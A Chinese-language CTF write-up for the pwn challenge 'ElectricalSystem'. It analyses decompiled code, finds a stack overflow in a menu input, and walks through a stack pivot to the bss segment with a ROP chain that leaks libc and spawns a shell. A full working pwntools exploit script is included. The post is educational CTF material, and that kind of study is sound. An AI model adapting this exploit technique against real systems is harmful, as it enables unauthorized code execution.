avatar

CTF-Pwn-ElectricalSystem

首先申明!!!!!!!该题有十分简单的解法,但是我为了提升自己的技术,所以选择用麻烦的做法来实现

文件下载CTF-Pwn-ElectricalSystem.rar

这个是朋友拖我做的,貌似是某企业内部CTF比赛吧

我们先看看这个程序的代码结构,导入IDA分析

我们先看看sub_400986();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int sub_400986()
{
char s[4100]; // [rsp+0h] [rbp-1010h]
int v2; // [rsp+1004h] [rbp-Ch]
FILE *stream; // [rsp+1008h] [rbp-8h]

stream = fopen("logo", "r");
if ( !stream )
{
puts("fail to read");
exit(1);
}
while ( fgets(s, 4096, stream) )
{
v2 = strlen(s);
s[v2 - 1] = 0;
printf("\x1B[32m%s\x1B[1m\n", s);
}
fclose(stream);
puts("This is a Electrical system");
return puts("Welcome, Can I help you?\n");
}

它的意思是先读取logo文件,然后写在控制台上,没有发现溢出点

但是接着我们就看到数据被放到bss段,我们选择可以存放ROP在上面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
unsigned int v3; // eax
char v4; // [rsp+0h] [rbp-10h]
int i; // [rsp+Ch] [rbp-4h]
v3 = time(0LL);
srand(v3);
dword_602160 = rand() % 100;
dword_602164 = 12 * dword_602160;
mprotect((void *)0x601000, 0x1500uLL, 7);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
sub_400986();
puts("Please enter your electric card 's ID:");
read(0, &unk_6020E0, 0x50uLL); //这里是将读入的数据写到bss段
for ( i = 0; i <= 4; ++i )
{
printf("\x1B[0;;31m.\x1B[0m");
sleep(1u);
}
while ( 1 )
sub_400AEE((__int64)&v4);
}

接着我们进入sub_400AEE((__int64)&v4); 并发现溢出点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __fastcall sub_400AEE(__int64 a1)
{
__int64 buf; // [rsp+8h] [rbp-8h]
buf = a1;
puts(byte_400E45);
puts("Check: view your electricity Balance");
puts("Recharge: add more money to your card:");
puts("Exit: Exit the System");
puts("Please enter your choice:");
read(0, &buf, 0x20uLL); //找到溢出点,这个buf很明显溢出了
if ( strstr((const char *)&buf, "Check") )
return sub_400A3A(&buf, "Check");
if ( !strstr((const char *)&buf, "Recharge") )
{
if ( strstr((const char *)&buf, "Exit") )
{
puts("Ok,bye~");
exit(0);
}
puts("Incorrect choice!");
exit(0);
}
return sub_400A6F();
}

利用思路

1、首先我们把ROP的数据写到bss段,然后通过sub_400AEE函数覆盖ebp,把栈迁移到bss段,这样就可以执行ROP了

2、ROP第一次执行的目的是为了溢出libc版本,通过puts函数即可。

3、跳转到read_plt,并构造好参数。注意read有三个参数,前两个参数我们可以控制,第三个参数我们无法控制,但是根据调试的结果看第三个参数(位于edx)数值非常大,也就是说我们读入很长很长的数据,所以我们本身不需要对read的第三个参数进行赋值,所以只需要传入两个参数就好了,然后第二个参数继续指向bss段,我是选择bss段再加一段偏移,恰好使得esp等于第二个参数,这样就不用传入重复的数据了,当然如果依旧指向bss段也是可以的,但是传入的数据有些长罢了。

4、 根据(3),我们需要继续发送数据到bss段中构造ROP,由于我们已经获得了libc基址和偏移,所以我们可以直接传入/bin/sh的参数到rdi,传入并跳转到system的地址,拿到shell

附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level = "debug"
sh = process("./ElectricalSystem")
elf = ELF("ElectricalSystem")
rdi_ret = 0x0000000000400d43
rsi_r15_ret = 0x0000000000400d41
shellcode_addr = 0x00000000006020E0
sh.recvuntil("Please enter your electric card 's ID:")
sh.recvuntil("Please enter your choice:\n")
payload = p64(0x0000000000602140) + p64(rdi_ret) + p64(elf.got['__libc_start_main']) + p64(elf.plt['puts'])
payload += p64(rdi_ret) + p64(0)
payload += p64(rsi_r15_ret) + p64(shellcode_addr+80) + p64(0)
payload += p64(elf.plt['read'])
sh.send(payload)
for i in range(0,5):
sh.recv()
sleep(1)
leave_ret = 0x0000000000400a38
sh.send("Checkaaa" + p64(shellcode_addr) + p64(leave_ret))

sh.recvuntil(" hour\n",True)
libc = u64(sh.recv(6)+"\x00\x00")
log.success("__libc_start_main :"+hex(libc))
payload = p64(rdi_ret) + p64(libc + 0x1923ea) + p64(libc+0x2d990)
sh.sendline(payload)
sh.interactive()

执行结果:


注意,remote时,要注意延迟问题,还需要对代码进行校正

总结:这道题考察了栈迁移和ROP的技术,通过覆盖ebp并执行leave汇编,将栈迁移到我们想要的地方,并且在栈中存放ROP并执行,若read的长度不够,可以通过二次read继续对ROP存放地址进行扩充。总体来说这题较为简单。

文章作者: 咲夜南梦
文章链接: http://yoursite.com/2019/05/08/CTF-Pwn-ElectricalSystem/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论